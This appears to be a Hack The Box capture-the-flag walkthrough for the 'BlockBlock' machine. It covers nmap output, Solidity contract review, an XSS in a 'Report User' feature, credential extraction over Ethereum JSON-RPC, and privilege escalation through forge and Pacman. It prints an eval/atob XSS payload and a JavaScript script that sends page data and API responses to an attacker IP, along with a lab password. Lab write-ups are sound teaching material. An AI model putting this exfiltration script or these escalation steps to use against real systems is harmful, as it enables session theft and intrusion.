Introduction to BlockBlock:

This walkthrough will explore the “BlockBlock” machine from Hack The Box, categorized as a hard-difficulty challenge. This guide will cover the reconnaissance, exploitation, and privilege escalation techniques used to capture user and root flags.
Objective for BlockBlock machine:
The goal of this walkthrough is to fully compromise the “BlockBlock” machine by obtaining both the user and root flags.
User Flag:
The first step was to gain initial access to the system by exploiting a web-based vulnerability. Through enumeration, an XSS vulnerability was discovered, allowing for the injection of a malicious JavaScript payload. This payload enabled interaction with the Ethereum JSON-RPC API, revealing stored credentials. By using these credentials, SSH access was successfully obtained, leading to the retrieval of the user flag. This step provided a crucial foothold in the system and set the stage for privilege escalation.
Root Flag:
After securing user access, we conducted further exploration, which revealed misconfigurations that could be exploited for privilege escalation. Specifically, we discovered that the forge binary had elevated execution privileges, allowing file manipulation to escalate access to a more privileged user (Paul). Additionally, further enumeration exposed a misconfiguration in the Pacman package manager. Consequently, we leveraged this by crafting a malicious package. Installing this package successfully granted root access to the system, leading to the final capture of the root flag. This stage highlights the importance of securing binaries and restricting package management privileges to prevent unauthorized escalation.
Enumerating the BlockBlock Machine
Reconnaissance:
Nmap Scan:
The first step was to conduct an Nmap scan to identify open ports and services:
nmap -sC -sV -oN nmap_initial.txt 10.10.11.43
Nmap Output:
┌─[dark@parrot]─[~/Documents/htb/blockblock]
└──╼ $nmap -sC -sV -oA initial 10.10.11.43
# Nmap 7.94SVN scan initiated Tue Mar 25 23:10:29 2025 as: nmap -sC -sV -oA initial 10.10.11.43
Nmap scan report for 10.10.11.43
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey:
| 256 d6:31:91:f6:8b:95:11:2a:73:7f:ed:ae:a5:c1:45:73 (ECDSA)
|_ 256 f2:ad:6e:f1:e3:89:38:98:75:31:49:7a:93:60:07:92 (ED25519)
80/tcp open http Werkzeug/3.0.3 Python/3.12.3
|_http-title: Home - DBLC
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.12.3
| Date: Tue, 25 Mar 2025 20:27:31 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 275864
| Access-Control-Allow-Origin: http://0.0.0.0/
| Access-Control-Allow-Headers: Content-Type,Authorization
| Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <title>
| Home - DBLC
| </title>
| <link rel="stylesheet" href="/assets/nav-bar.css">
| </head>
| <body>
| <!-- <main> -->
| <meta charset=utf-8>
| <meta name=viewport content="width=device-width, initial-scale=1">
| <style>
| :after,
| :before {
| box-sizing: border-box;
| border: 0 solid #e5e7eb
| :after,
| :before {
| --tw-content: ""
| :host,
| html {
| line-height: 1.5;
| HTTPOptions:
| HTTP/1.1 500 INTERNAL SERVER ERROR
| Server: Werkzeug/3.0.3 Python/3.12.3
| Date: Tue, 25 Mar 2025 20:27:31 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 265
| Access-Control-Allow-Origin: http://0.0.0.0/
| Access-Control-Allow-Headers: Content-Type,Authorization
| Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>500 Internal Server Error</title>
| <h1>Internal Server Error</h1>
|_ <p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.94SVN%I=7%D=3/25%Time=67E3703C%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,3004,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.3\x
SF:20Python/3\.12\.3\r\nDate:\x20Tue,\x2025\x20Mar\x202025\x2020:27:31\x20
SF:GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\
SF:x20275864\r\nAccess-Control-Allow-Origin:\x20http://0\.0\.0\.0/\r\nAcce
SF:ss-Control-Allow-Headers:\x20Content-Type,Authorization\r\nAccess-Contr
SF:ol-Allow-Methods:\x20GET,POST,PUT,DELETE,OPTIONS\r\nConnection:\x20clos
SF:e\r\n\r\n<!DOCTYPE\x20html>\n<html>\n\n<head>\n\x20\x20\x20\x20<title>\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20Home\x20\x20-\x20DBLC\n\x20\x20\x2
SF:0\x20</title>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/a
SF:ssets/nav-bar\.css\">\n</head>\n\n<body>\n\x20\x20\x20\x20\n\n\x20\x20\
SF:x20\x20<!--\x20<main>\x20-->\n\x20\x20\x20\x20\n\x20\x20\x20\x20<meta\x
SF:20charset=utf-8>\n\x20\x20\x20\x20<meta\x20name=viewport\x20content=\"w
SF:idth=device-width,\x20initial-scale=1\">\n\x20\x20\x20\x20<style>\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20\*,\n\x20\x20\x20\x20\x20\x20\x20\x20:after
SF:,\n\x20\x20\x20\x20\x20\x20\x20\x20:before\x20{\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20box-sizing:\x20border-box;\n\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20border:\x200\x20solid\x20#e5e7eb\n\x20\x
SF:20\x20\x20\x20\x20\x20\x20}\n\n\x20\x20\x20\x20\x20\x20\x20\x20:after,\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20:before\x20{\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20--tw-content:\x20\"\"\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20}\n\n\x20\x20\x20\x20\x20\x20\x20\x20:host,\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20html\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20line-height:\x201\.5;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20")%r(H
SF:TTPOptions,26D,"HTTP/1\.1\x20500\x20INTERNAL\x20SERVER\x20ERROR\r\nServ
SF:er:\x20Werkzeug/3\.0\.3\x20Python/3\.12\.3\r\nDate:\x20Tue,\x2025\x20Ma
SF:r\x202025\x2020:27:31\x20GMT\r\nContent-Type:\x20text/html;\x20charset=
SF:utf-8\r\nContent-Length:\x20265\r\nAccess-Control-Allow-Origin:\x20http
SF:://0\.0\.0\.0/\r\nAccess-Control-Allow-Headers:\x20Content-Type,Authori
SF:zation\r\nAccess-Control-Allow-Methods:\x20GET,POST,PUT,DELETE,OPTIONS\
SF:r\nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<
SF:title>500\x20Internal\x20Server\x20Error</title>\n<h1>Internal\x20Serve
SF:r\x20Error</h1>\n<p>The\x20server\x20encountered\x20an\x20internal\x20e
SF:rror\x20and\x20was\x20unable\x20to\x20complete\x20your\x20request\.\x20
SF:Either\x20the\x20server\x20is\x20overloaded\x20or\x20there\x20is\x20an\
SF:x20error\x20in\x20the\x20application\.</p>\n");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 25 23:12:27 2025 -- 1 IP address (1 host up) scanned in 117.89 seconds
Investigation:
- Port 22 (SSH): Running OpenSSH 9.7
- Port 80 (HTTP): Web server running Werkzeug/3.0.3 with Python 3.12.3
Web Enumeration:
To discover potentially exploitable directories and files, a web enumeration was performed.
Web Application Exploration:

Upon accessing port 80, the application displayed a decentralized chat platform, suggesting potential interactions with blockchain-based services.

When accessing the chat directory, the system displayed a ‘Missing cookie token‘ message, indicating an authentication requirement. As a result, this indicated an authentication requirement

Creating a new account was necessary to proceed further.

After registration, the application redirected to a chat page where a bot welcomed users to their secure blockchain-based chat platform.

To gain further insights, let’s carefully review the personal information section to determine if it contains anything useful.

An error message appeared stating that the Connection header did not include ‘Upgrade’.
Investigate via BurpSuite

To analyze the authentication process, it was important to intercept the packet using Burp Suite. However, after thoroughly examining the intercepted data, we determined that nothing particularly interesting appeared. Consequently, we needed to explore alternative methods for further analysis.

Therefore, in order to proceed efficiently, we created a malicious JavaScript script to capture a response from the application.

While forwarding the previous packet, we carefully monitored the network traffic. As a result, we eventually discovered a new port open to the public, which warranted further investigation.

The JSON data displays the method ‘etc-blockNumber‘.
Understanding Ethereum Classic and JSON-RPC API on BlockBlock machine
What is etc-blocknumber?
The etc_blockNumber
method is used in the Ethereum Classic (ETC) blockchain to retrieve the latest block number. Ethereum Classic is a decentralized blockchain that resulted from a split from the original Ethereum network in 2016. Ethereum Classic retains the original Ethereum codebase and remains committed to the principle of immutability.
Similar to Ethereum’s eth_blockNumber
, the etc_blockNumber
method allows you to query the most recent block number in the Ethereum Classic blockchain.
When you invoke etc_blockNumber
via a JSON-RPC request, the response will return the most recent block number that has been mined and added to the chain. This method is essential for tracking blockchain progress, verifying transactions, or syncing nodes on the Ethereum Classic network.
eth_blockNumber
eth_getBlockByNumber
eth_getBlockByHash
eth_getTransactionByHash
eth_getTransactionByBlockHashAndIndex
eth_getTransactionByBlockNumberAndIndex
eth_getTransactionCount
eth_getLogs
eth_call
eth_estimateGas
eth_getCode
eth_getStorageAt
eth_gasPrice
eth_sendTransaction
eth_sendRawTransaction
eth_protocolVersion
eth_syncing
eth_coinbase
eth_mining
eth_hashrate
eth_chainId
eth_getFilterLogs
eth_getFilterChanges
eth_newFilter
eth_newBlockFilter
eth_newPendingTransactionFilter
eth_uninstallFilter
eth_getUncleByBlockHashAndIndex
eth_getUncleByBlockNumberAndIndex
eth_getCompilers
eth_compileLLL
eth_compileSolidity
eth_compileSerpent
eth_newAccount
eth_personalUnlockAccount
eth_personalLockAccount
eth_coinbase
eth_getWork
eth_submitWork
eth_submitHashrate
eth_sign
eth_signTransaction
eth_sendRawTransaction
The list of 43 nodes above represents the nodes we are currently working with.

We need to click on the link shown in the note:
Investigating API Endpoints via Burpsuite

Further investigation revealed a new endpoint: /api/contract_source
. This led to the discovery of chat.sol
and database.sol
files.
Analyse the chat.sol and database.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;
// Import the Database interface
// import "./Database.sol";
interface IDatabase {
function accountExist(string calldata username) external view returns (bool);
function setChatAddress(address _chat) external;
}
contract Chat {
struct Message {
string content;
string sender;
uint256 timestamp;
}
address public immutable owner;
IDatabase public immutable database;
mapping(string => Message[]) internal userMessages;
uint256 internal totalMessagesCount;
event MessageSent(
uint indexed id,
uint indexed timestamp,
string sender,
string content
);
modifier onlyOwner() {
require(msg.sender == owner, "Only owner can call this function");
_;
}
modifier onlyExistingUser(string calldata username) {
require(database.accountExist(username), "User does not exist");
_;
}
constructor(address _database) {
owner = msg.sender;
database = IDatabase(_database);
database.setChatAddress(address(this));
}
receive() external payable {}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
function deleteUserMessages(string calldata user) public {
require(msg.sender == address(database), "Only database can call this function");
delete userMessages[user];
}
function sendMessage(
string calldata sender,
string calldata content
) public onlyOwner onlyExistingUser(sender) {
userMessages[sender].push(Message(content, sender, block.timestamp));
totalMessagesCount++;
emit MessageSent(totalMessagesCount, block.timestamp, sender, content);
}
function getUserMessage(
string calldata user,
uint256 index
) public view onlyOwner onlyExistingUser(user) returns (string memory, string memory, uint256) {
Message storage msgData = userMessages[user][index];
return (msgData.content, msgData.sender, msgData.timestamp);
}
function getUserMessagesRange(
string calldata user,
uint256 start,
uint256 end
) public view onlyOwner onlyExistingUser(user) returns (Message[] memory) {
require(start < end, "Invalid range");
require(end <= userMessages[user].length, "End index out of bounds");
Message[] memory result = new Message[](end - start);
for (uint256 i = start; i < end; i++) {
result[i - start] = userMessages[user][i];
}
return result;
}
function getRecentUserMessages(
string calldata user,
uint256 count
) public view onlyOwner onlyExistingUser(user) returns (Message[] memory) {
uint256 length = userMessages[user].length;
if (count > length) {
count = length;
}
Message[] memory result = new Message[](count);
for (uint256 i = 0; i < count; i++) {
result[i] = userMessages[user][length - count + i];
}
return result;
}
function getUserMessages(
string calldata user
) public view onlyOwner onlyExistingUser(user) returns (Message[] memory) {
return userMessages[user];
}
function getUserMessagesCount(
string calldata user
) public view onlyOwner onlyExistingUser(user) returns (uint256) {
return userMessages[user].length;
}
function getTotalMessagesCount() public view onlyOwner returns (uint256) {
return totalMessagesCount;
}
}
chat.sol
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.23;
interface IChat {
function deleteUserMessages(string calldata user) external;
}
contract Database {
struct User {
string password;
string role;
bool exists;
}
address immutable owner;
IChat chat;
mapping(string => User) private users;
event AccountRegistered(string username);
event AccountDeleted(string username);
event PasswordUpdated(string username);
event RoleUpdated(string username);
modifier onlyOwner() {
require(msg.sender == owner, "Only owner can call this function");
_;
}
modifier onlyExistingUser(string memory username) {
require(users[username].exists, "User does not exist");
_;
}
constructor(string memory secondaryAdminUsername, string memory password) {
users["admin"] = User(password, "admin", true);
owner = msg.sender;
registerAccount(secondaryAdminUsername, password);
}
function accountExist(string calldata username) public view returns (bool) {
return users[username].exists;
}
function getAccount(string calldata username)
public
view
onlyOwner
onlyExistingUser(username)
returns (string memory, string memory, string memory)
{
User storage user = users[username];
return (username, user.password, user.role);
}
function setChatAddress(address _chat) public {
require(address(chat) == address(0), "Chat address already set");
chat = IChat(_chat);
}
function registerAccount(string memory username, string memory password) public onlyOwner {
require(!users[username].exists, "Username already exists");
users[username] = User(password, "user", true);
emit AccountRegistered(username);
}
function deleteAccount(string calldata username) public onlyOwner onlyExistingUser(username) {
delete users[username];
chat.deleteUserMessages(username);
emit AccountDeleted(username);
}
function updatePassword(
string calldata username,
string calldata oldPassword,
string calldata newPassword
) public onlyOwner onlyExistingUser(username) {
require(
keccak256(bytes(users[username].password)) == keccak256(bytes(oldPassword)),
"Invalid password"
);
users[username].password = newPassword;
emit PasswordUpdated(username);
}
function updateRole(string calldata username, string calldata role) public onlyOwner onlyExistingUser(username) {
users[username].role = role;
emit RoleUpdated(username);
}
}
database.sol
Exploiting Vulnerabilities on BlockBlock Machine
XSS Injection

The assessment revealed a vulnerability in the ‘Report User’ feature. Consequently, an XSS attack injected a malicious JavaScript payload to extract authentication tokens.

Therefore, let’s create a malicious JavaScript to capture a response from the application.

Let’s begin by starting our Python server.

The script requires base64 encoding, as shown.

As a result, we were able to successfully inject the XSS into the column. Subsequently, we clicked the ‘OK‘ button to submit the injection and proceed with further testing
<img src=x onerror='eval(atob("<base64 encoded"))' />

Consequently, this process successfully retrieved a cookie, which in turn allowed further testing and ultimately led to the revelation of a JWT token for continued analysis.
function sendToServer(data) {
try {
fetch(`http://10.10.16.31/?=${encodeURIComponent(data.toString())}`);
} catch (error) {
console.error("Sending data failed:", error);
}
}
function makeRequest(url) {
fetch(url)
.then(res => {
if (!res.ok) {
sendToServer("Error fetching data");
}
return res.text();
})
.then(content => {
sendToServer("Response received: " + content);
})
.catch(err => {
sendToServer("Request failed: " + err.message);
});
}
sendToServer("Script is loading...");
sendToServer("Current URL: " + window.location.href);
makeRequest("/api/info");
makeRequest("/api/recent_messages");
sendToServer("Process completed.");
In this updated script, I’ve carefully restructured the original code to make it more efficient and tailored specifically for my needs. To streamline the process, I created a sendToServer
function which efficiently handles sending data to the server via fetch
. Additionally, I improved error handling to log any issues that arise, ensuring smoother debugging.
Furthermore, for making API requests, I developed a makeRequest
function which first checks the response status before fetching the content of the URL. If an error occurs during the request, the function promptly sends an error message to the server.
To gather relevant information, the script starts by notifying that it’s loading. After that, it captures the current page URL using window.location.href
. Subsequently, it makes two separate API calls—one to /api/info
and another to /api/recent_messages
—to retrieve critical data. Finally, once the entire process completes, the script sends a ‘Process completed’ message, confirming that it has executed all necessary tasks.
Overall, I ensured that the script maintains a well-structured and simplified flow. Additionally, it enhances readability while effectively focusing on extracting key data. Moreover, it remains flexible and reusable, making it adaptable for future modifications

We have successfully obtained another cookie for testing.
Accessing the Admin Panel

We need to decode the base64 command, and fortunately, we’ve retrieved another JWT token that we can use in the next stage.

Subsequently, after completing the previous steps, we can then paste the token into the storage.

Once you enter the token, try refreshing the page. I noticed a new tab labeled ‘Admin’.

We managed to spot a new page when trying to access the /admin page.


After obtaining and decoding the token, we stored it and used it for authentication.This revealed a new ‘Admin’ tab, leading to an additional endpoint: /api/json-rpc
.
Understanding JSON-RPC API
Before proceeding, it was essential to understand JSON-RPC, a protocol used for remote procedure calls encoded in JSON. Ethereum JSON-RPC API enables communication with Ethereum nodes, allowing transactions, contract interactions, and account management.

Nothing appears to be of interest.
Extracting Credentials

There is only one user that appears to be valid.

Logsbloom seems irrelevant here.

Let’s copy the input and paste it into the decoder in our browser.


Decoding the JSON response revealed credentials:
- Username: Keira
- Password: SomedayBitCoinWillCollapse

Using these credentials, we established SSH access to Keira’s account.

We can view the user flag by executing the “cat user.txt” command.
Escalating to Root Privileges on BlockBlock machine
Privilege Escalation:

We found that the forge binary has elevated execution privileges

A manual page is available for the forge binary.
Summaries: Exploiting the Forge Binary on BlockBlock Machine
Reading /etc/passwd and Gaining SSH Access:
The forge binary, found during enumeration, had elevated privileges. By using its flatten function, the /etc/passwd file was retrieved. Following this, a new SSH key was generated and injected into the authorized_keys file, which then allowed login as Paul.
Reverse Shell Execution:
After gaining access as Paul, a reverse shell was set up to maintain persistence. This required creating a shell command, assigning execution permissions, initializing a listener, and connecting to the remote machine.
Gaining Root Access:
Further enumeration revealed another exploitable binary, which facilitated privilege escalation. After executing the necessary commands, root access was successfully obtained, thereby allowing retrieval of the root flag.
Step 1: Use the Flatten command



We can retrieve the /etc/passwd file by executing the flatten command.

Execute the SSH-keygen command as demonstrated above.

We should be placing the SSH key onto the victim’s machine.

The flatten command can be used to insert the SSH key into the authorized_keys, as demonstrated above.

We successfully accessed the machine as Paul via SSH.
Step 2: Reverse shell method

A reverse shell command can be created in the file above.

Another command we can use here is init
, one that will initialize the project.

We can initiate our listener.

Unfortunately, permission was denied for the file.

Permission can be granted to the folder.

The project also needs to be re-initialized.




The build command is also used.

Ultimately, after completing the necessary steps, access has been successfully gained to Paul’s account.
Step 3: Use the Completions command

The command above can be used to return the shell connection to us.

Start the listener.

Just to ensure it works, another port, such as 9008, can be used.

This is how access to Paul’s account was obtained.
Leveraging Pacman Package Manager
Gaining Root Flag:

Furthermore, I discovered another binary in Paul’s connection.

We need to clarify that bash is not a SUID binary.


The command above needs to be executed.




The root flag can be read by typing the “cat root.txt” command.